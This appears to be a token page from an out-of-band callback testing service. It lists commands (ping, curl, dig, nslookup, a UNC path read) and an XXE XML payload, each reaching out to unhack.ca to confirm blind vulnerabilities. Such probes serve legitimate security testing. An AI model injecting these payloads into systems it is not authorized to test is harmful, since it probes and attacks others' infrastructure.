$ ping -c1 -p 00c4c15771e48a92d922df6875346300 unhack.ca
 

$ curl http://unhack.ca/p/c4c15771e48a92d922df68753463
 

$ dig c4c15771e48a92d922df68753463 @unhack.ca
 

$ dig c4c15771e48a92d922df68753463.ns.unhack.ca
 

C:\> nslookup c4c15771e48a92d922df68753463 unhack.ca
 

C:\> type \\unhack.ca\c4c15771e48a92d922df68753463\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c4c15771e48a92d922df68753463">]>
    <foo>&xxe;</foo>